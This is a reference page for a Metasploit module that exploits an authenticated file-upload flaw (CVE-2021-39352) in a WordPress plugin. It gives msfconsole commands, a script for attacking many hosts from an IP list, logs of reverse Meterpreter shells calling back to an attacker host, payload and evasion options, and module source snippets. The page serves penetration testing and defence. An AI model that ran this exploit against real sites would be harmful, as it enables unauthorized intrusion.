Wordpress Plugin Catch Themes Demo Import RCE - Metasploit
This page contains detailed information about how to use the exploit/multi/http/wp_catch_themes_demo_import metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Wordpress Plugin Catch Themes Demo Import RCE
Module: exploit/multi/http/wp_catch_themes_demo_import
Source code: modules/exploits/multi/http/wp_catch_themes_demo_import.rb
Disclosure date: 2021-10-21
Last modification time: 2022-10-03 19:50:04 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-39352
The Wordpress Plugin Catch Themes Demo Import versions < 1.8 are vulnerable to authenticated arbitrary file uploads via the import functionality found in the ~/inc/CatchThemesDemoImport.php file, due to insufficient file type validation. Re-exploitation may need a reboot of the server, or to wait an arbitrary timeout. During testing this timeout was roughly 5min.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Reliability:
- unreliable-session: The module isn't expected to get a shell reliably (such as only once).
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using wp_catch_themes_demo_import against a single host
Normally, you can use exploit/multi/http/wp_catch_themes_demo_import this way:
msf > use exploit/multi/http/wp_catch_themes_demo_import
msf exploit(wp_catch_themes_demo_import) > show targets
... a list of targets ...
msf exploit(wp_catch_themes_demo_import) > set TARGET target-id
msf exploit(wp_catch_themes_demo_import) > show options
... show and set options ...
msf exploit(wp_catch_themes_demo_import) > exploit
Using wp_catch_themes_demo_import against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your wp_catch_themes_demo_import will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/wp_catch_themes_demo_import")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
The Wordpress Plugin Catch Themes Demo Import versions < 1.8 are vulnerable to authenticated
arbitrary file uploads via the import functionality found in the ~/inc/CatchThemesDemoImport.php
file, due to insufficient file type validation.
Of note, the check functionality may not detect the version of Catch Themes Demo Import
due
to the readme file not containing the proper version number line.
Re-exploitation may need a reboot of the server, or to wait an arbitrary timeout.
Verification Steps
- Install the plugin to wordpress
- Start msfconsole
- Do:
use exploits/multi/http/wp_catch_themes_demo_import
- Do:
set rhosts
- Do:
set username
- Do:
set password
- Do:
run
- You should get a shell.
Options
USERNAME
Username of the account which has post privileges. Defaults to admin
.
PASSWORD
Password of the account which has post privileges. Defaults to admin
Scenarios
Wordpress Catch Themes Demo Import 1.6.1 on Wordpress 5.4.8 running on Ubuntu 20.04
resource (catch_theme.rb)> use exploits/multi/http/wp_catch_themes_demo_import
[*] Using configured payload php/meterpreter/reverse_tcp
resource (catch_theme.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (catch_theme.rb)> set username admin
username => admin
resource (catch_theme.rb)> set password admin
password => admin
resource (catch_theme.rb)> set verbose true
verbose => true
resource (catch_theme.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (catch_theme.rb)> run
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/catch-themes-demo-import/readme.txt
[!] The service is running, but could not be validated. Could not identify the version number
[*] Ajax Nonce: 11a5dba010
[*] Uploading payload filename: Y5LBjS3t.php
[*] Triggering payload at wp-content/uploads/2021/12/Y5LBjS3t.php
[*] Sending stage (39282 bytes) to 2.2.2.2
[+] Deleted Y5LBjS3t.php
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:34002 ) at 2021-12-21 20:01:30 -0500
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : wordpress2004
OS : Linux wordpress2004 5.4.0-52-generic #57-Ubuntu SMP Thu Oct 15 10:57:00 UTC 2020 x86_64
Meterpreter : php/linux
Go back to menu.
Msfconsole Usage
Here is how the multi/http/wp_catch_themes_demo_import exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/wp_catch_themes_demo_import
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_catch_themes_demo_import) > show info
Name: Wordpress Plugin Catch Themes Demo Import RCE
Module: exploit/multi/http/wp_catch_themes_demo_import
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2021-10-21
Provided by:
h00die
Ron Jost
Thinkland Security Team
Module side effects:
artifacts-on-disk
ioc-in-logs
Module stability:
crash-safe
Module reliability:
unreliable-session
Available targets:
Id Name
-- ----
0 Automatic Target
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes Password of the account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path of the Wordpress server
USERNAME admin yes Username of the account
VHOST no HTTP server virtual host
Payload information:
Description:
The Wordpress Plugin Catch Themes Demo Import versions < 1.8 are
vulnerable to authenticated arbitrary file uploads via the import
functionality found in the ~/inc/CatchThemesDemoImport.php file, due
to insufficient file type validation. Re-exploitation may need a
reboot of the server, or to wait an arbitrary timeout. During
testing this timeout was roughly 5min.
References:
https://www.exploit-db.com/exploits/50580
https://nvd.nist.gov/vuln/detail/CVE-2021-39352
https://plugins.trac.wordpress.org/changeset/2617555/catch-themes-demo-import/trunk/inc/CatchThemesDemoImport.php
https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39352
https://wpscan.com/vulnerability/781f2ff4-cb94-40d7-96cb-90128daed862
Module Options
This is a complete list of options available in the multi/http/wp_catch_themes_demo_import exploit:
msf6 exploit(multi/http/wp_catch_themes_demo_import) > show options
Module options (exploit/multi/http/wp_catch_themes_demo_import):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes Password of the account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path of the Wordpress server
USERNAME admin yes Username of the account
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
Advanced Options
Here is a complete list of advanced options supported by the multi/http/wp_catch_themes_demo_import exploit:
msf6 exploit(multi/http/wp_catch_themes_demo_import) > show advanced
Module advanced options (exploit/multi/http/wp_catch_themes_demo_import):
Name Current Setting Required Description
---- --------------- -------- -----------
AllowNoCleanup false no Allow exploitation without the possibility of cleaning up files
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS serv
ers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiat
e) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X no The User-Agent header to use for all requests
) AppleWebKit/605.1.15 (KHTML, like Gecko) V
ersion/15.0 Mobile/15E148 Safari/604.1
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WPCHECK true yes Check if the website is a valid WordPress install
WPCONTENTDIR wp-content yes The name of the wp-content directory
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LH
OST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/wp_catch_themes_demo_import module can exploit:
msf6 exploit(multi/http/wp_catch_themes_demo_import) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Target
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/wp_catch_themes_demo_import exploit:
msf6 exploit(multi/http/wp_catch_themes_demo_import) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/generic/ssh/interact normal No Interact with Established SSH Connection
4 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
5 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
6 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
7 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
8 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
9 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
10 payload/php/download_exec normal No PHP Executable Download and Execute
11 payload/php/exec normal No PHP Execute Command
12 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
13 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
14 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
15 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
16 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
18 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
19 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
20 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/wp_catch_themes_demo_import exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/wp_catch_themes_demo_import) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u
-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Wordpress not detected.
- catch-themes-demo-import not a vulnerable version
- Invalid login, check credentials
- Site not responding
- Failed to retrieve page
- Unable to find ajax_nonce on page
- Site not responding
- Plugin not ready to process new payloads. Please retry in a few minutes.
- Failed to upload payload
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Wordpress not detected.
Here is a relevant code snippet related to the "Wordpress not detected." error message:
69: OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),
70: ]
71: end
72:
73: def check
74: return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?
75:
76: checkcode = check_plugin_version_from_readme('catch-themes-demo-import', '1.8')
77: if checkcode == CheckCode::Safe
78: print_error('catch-themes-demo-import not a vulnerable version')
79: end
catch-themes-demo-import not a vulnerable version
Here is a relevant code snippet related to the "catch-themes-demo-import not a vulnerable version" error message:
73: def check
74: return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?
75:
76: checkcode = check_plugin_version_from_readme('catch-themes-demo-import', '1.8')
77: if checkcode == CheckCode::Safe
78: print_error('catch-themes-demo-import not a vulnerable version')
79: end
80: checkcode
81: end
82:
83: def exploit
Invalid login, check credentials
Here is a relevant code snippet related to the "Invalid login, check credentials" error message:
82:
83: def exploit
84: cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
85:
86: if cookie.nil?
87: vprint_error('Invalid login, check credentials')
88: return
89: end
90:
91: # grab the ajax_nonce
92: res = send_request_cgi({
Site not responding
Here is a relevant code snippet related to the "Site not responding" error message:
96: 'keep_cookies' => 'false', # for some reason wordpress gives back an unauth cookie here, so ignore it.
97: 'vars_get' => {
98: 'page' => 'catch-themes-demo-import'
99: }
100: })
101: fail_with(Failure::Unreachable, 'Site not responding') unless res
102: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
103: /"ajax_nonce":"(?<ajax_nonce>[a-z0-9]{10})"/ =~ res.body
104: fail_with(Failure::UnexpectedReply, 'Unable to find ajax_nonce on page') unless ajax_nonce
105: vprint_status("Ajax Nonce: #{ajax_nonce}")
106:
Failed to retrieve page
Here is a relevant code snippet related to the "Failed to retrieve page" error message:
97: 'vars_get' => {
98: 'page' => 'catch-themes-demo-import'
99: }
100: })
101: fail_with(Failure::Unreachable, 'Site not responding') unless res
102: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
103: /"ajax_nonce":"(?<ajax_nonce>[a-z0-9]{10})"/ =~ res.body
104: fail_with(Failure::UnexpectedReply, 'Unable to find ajax_nonce on page') unless ajax_nonce
105: vprint_status("Ajax Nonce: #{ajax_nonce}")
106:
107: random_filename = "#{rand_text_alphanumeric(6..12)}.php"
Unable to find ajax_nonce on page
Here is a relevant code snippet related to the "Unable to find ajax_nonce on page" error message:
99: }
100: })
101: fail_with(Failure::Unreachable, 'Site not responding') unless res
102: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
103: /"ajax_nonce":"(?<ajax_nonce>[a-z0-9]{10})"/ =~ res.body
104: fail_with(Failure::UnexpectedReply, 'Unable to find ajax_nonce on page') unless ajax_nonce
105: vprint_status("Ajax Nonce: #{ajax_nonce}")
106:
107: random_filename = "#{rand_text_alphanumeric(6..12)}.php"
108: vprint_status("Uploading payload filename: #{random_filename}")
109:
Site not responding
Here is a relevant code snippet related to the "Site not responding" error message:
124: 'cookie' => cookie,
125: 'keep_cookies' => 'true',
126: 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
127: 'data' => multipart_form.to_s
128: )
129: fail_with(Failure::Unreachable, 'Site not responding') unless res
130: fail_with(Failure::UnexpectedReply, 'Plugin not ready to process new payloads. Please retry in a few minutes.') if res.code == 200 && res.body.include?('afterAllImportAJAX')
131: fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res.code == 500
132: # yes, a 500. We uploaded a malformed item, so when it tries to import it, it fails. This
133: # is actually positive as it won't display a malformed item anywhere in the UI. Simply writes our payload, then exits (non-gracefully)
134: #
Plugin not ready to process new payloads. Please retry in a few minutes.
Here is a relevant code snippet related to the "Plugin not ready to process new payloads. Please retry in a few minutes." error message:
125: 'keep_cookies' => 'true',
126: 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
127: 'data' => multipart_form.to_s
128: )
129: fail_with(Failure::Unreachable, 'Site not responding') unless res
130: fail_with(Failure::UnexpectedReply, 'Plugin not ready to process new payloads. Please retry in a few minutes.') if res.code == 200 && res.body.include?('afterAllImportAJAX')
131: fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res.code == 500
132: # yes, a 500. We uploaded a malformed item, so when it tries to import it, it fails. This
133: # is actually positive as it won't display a malformed item anywhere in the UI. Simply writes our payload, then exits (non-gracefully)
134: #
135: # [Fri Dec 24 16:48:00.904980 2021] [php7:error] [pid 440128] [client 192.168.2.199:38107] PHP Fatal error: Uncaught Error: Class 'XMLReader' not found in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php:123
Failed to upload payload
Here is a relevant code snippet related to the "Failed to upload payload" error message:
126: 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
127: 'data' => multipart_form.to_s
128: )
129: fail_with(Failure::Unreachable, 'Site not responding') unless res
130: fail_with(Failure::UnexpectedReply, 'Plugin not ready to process new payloads. Please retry in a few minutes.') if res.code == 200 && res.body.include?('afterAllImportAJAX')
131: fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res.code == 500
132: # yes, a 500. We uploaded a malformed item, so when it tries to import it, it fails. This
133: # is actually positive as it won't display a malformed item anywhere in the UI. Simply writes our payload, then exits (non-gracefully)
134: #
135: # [Fri Dec 24 16:48:00.904980 2021] [php7:error] [pid 440128] [client 192.168.2.199:38107] PHP Fatal error: Uncaught Error: Class 'XMLReader' not found in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php:123
136: # Stack trace:
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Related Pull Requests
- #16021 Merged Pull Request: Add check for deleting directories to post/test/file
- #16034 Merged Pull Request: Last minute fix for SMB Shadow module
- #16032 Merged Pull Request: Explicitly specify encoding for doc builds
- #16024 Merged Pull Request: Add command to kill all Meterpreter channels
- #15903 Merged Pull Request: Add SMB Shadow Module: Direct SMB Session Takeover
- #16030 Merged Pull Request: exclude root
docs
path only not any file
References
- EDB-50580
- CVE-2021-39352
- https://plugins.trac.wordpress.org/changeset/2617555/catch-themes-demo-import/trunk/inc/CatchThemesDemoImport.php
- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39352
- WPVDB-781f2ff4-cb94-40d7-96cb-90128daed862
See Also
Check also the following modules related to this module:
- exploit/multi/http/wp_ait_csv_rce
- exploit/multi/http/wp_crop_rce
- exploit/multi/http/wp_db_backup_rce
- exploit/multi/http/wp_dnd_mul_file_rce
- exploit/multi/http/wp_file_manager_rce
- exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
- exploit/multi/http/wp_plugin_backup_guard_rce
- exploit/multi/http/wp_plugin_elementor_auth_upload_rce
- exploit/multi/http/wp_plugin_modern_events_calendar_rce
- exploit/multi/http/wp_plugin_sp_project_document_rce
- exploit/multi/http/wp_popular_posts_rce
- exploit/multi/http/wp_responsive_thumbnail_slider_upload
- exploit/multi/http/wp_simple_file_list_rce
- exploit/multi/php/wp_duplicator_code_inject
- exploit/multi/misc/java_jdwp_debugger
- exploit/windows/browser/ms11_003_ie_css_import
- exploit/windows/browser/realplayer_import
- auxiliary/gather/wp_ultimate_csv_importer_user_extract
- exploit/windows/fileformat/actfax_import_users_bof
- exploit/linux/http/zimbra_mboximport_cve_2022_27925
- exploit/windows/fileformat/feeddemon_opml
- exploit/windows/local/cve_2020_1048_printerdemon
- exploit/windows/local/cve_2020_1337_printerdemon
Authors
- h00die
- Ron Jost
- Thinkland Security Team
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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